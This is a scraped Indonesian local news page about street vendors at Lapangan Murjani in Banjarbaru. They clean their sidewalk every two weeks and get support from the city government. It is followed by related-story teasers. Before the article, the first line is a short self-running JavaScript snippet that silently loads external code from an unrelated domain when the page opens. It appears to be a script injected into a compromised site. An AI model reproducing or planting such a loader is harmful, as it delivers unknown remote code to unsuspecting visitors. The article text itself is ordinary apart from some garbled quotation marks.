(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Ada yang berbeda di trotoar Lapangan Murjani, Banjarbaru, Kamis (4/1) sekitar pukul 10.30 Wita. Puluhan orang yang merupakan kumpulan Pedagang Kaki Lima (PKL) yang biasa mangkal di trotoar Murjani melakukan aksi bersih-bersih.
Kegiatan ini merupakan agenda rutin yang dilakukan tiap 2 minggu sekali oleh 48 PKL yang terhimpun di lokasi. Dengan menggunakan sapu, alat pel dan dibantu mobil penyiram air yang disediakan Pemko Banjarbaru, mereka membersihkan areal yang tiap hari dijadikan tempat berjualan. Untuk air, mereka beli secara patungan.
Yayan, salah satu PKL mengungkapkan, bawa kegiatan ini sudah dilaksanakan sejak lama.
“Dulu sebelum trotoar ini direhab kami melaksanakannya tiap 1 bulan sekali. Tapi sejak diganti dan dikeramik kami majukan jadi tiap 2 minggu sekali,†katanya.
Menurut Yayan, aksi bersih-bersih tersebut hanya salah satu kegiatan yang rutin dilakukan. Selain itu, mereka juga memiliki kegiatan Tampung Tawar yang mereka adakan setiap 1 Muharram.
Tampung Tawar adalah ritual yang selalu dilakukan di suku dayak, yang bisa diartikan sebagai cara mengucap syukur, mengharapkan berkah, serta menolak bala atau musibah dan Air yang digunakan di ritual Tampung Tawar ini mereka percikan ke gerobak jualan mereka.
Kegiatan ini juga sebagai rasa terima kasih komunitas PKL untuk pemerintah karena masih diperkenankan jualan. “Alhamdulillah selama ini pemerintah selalu menginzikan dan memberi kebijakan untuk kami berjualan di sini,†ucapnya.
Yayan juga mengungkapkan rencana pemko melakukan pembinaan untuk para PKL dari segi menu makanan dan pengelolah tempat berjualan. Dukungan dari Pemko Banjarbaru juga sangat terasa dengan dukungan properti hingga perbaikan tempat usaha.
“Kami dibelikan cat untuk gerobak kami hingga payung untuk kenyamanan pelanggan, ya semua itu dari pemko yang mengurusnya ke Bank Kalsel,†ungkap Yayan.
Kawasan Lapangan Murdjani tengah dipercantik. Ada kegiatan normalisasi drainase dan trotoar. Perbaikan drainase dinilai perlu karena di beberapa titik bila hujan deras bisa menyebabkan jalan tergenang air.
Sebelumnya Pemko banjarbaru telah melakukan normalisasi drainase, ganti boks, dan trotoar yang menalan anggaran hingga Rp 3,7 miliar. Perbaikan tersebut diharapkan jadi solusi karena kerap di kawasan itu bila hujan deras jalanan bisa tergenang. Selain untuk mempercantik halaman muka kantor Pemko.(alfrico)
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
This website uses cookies.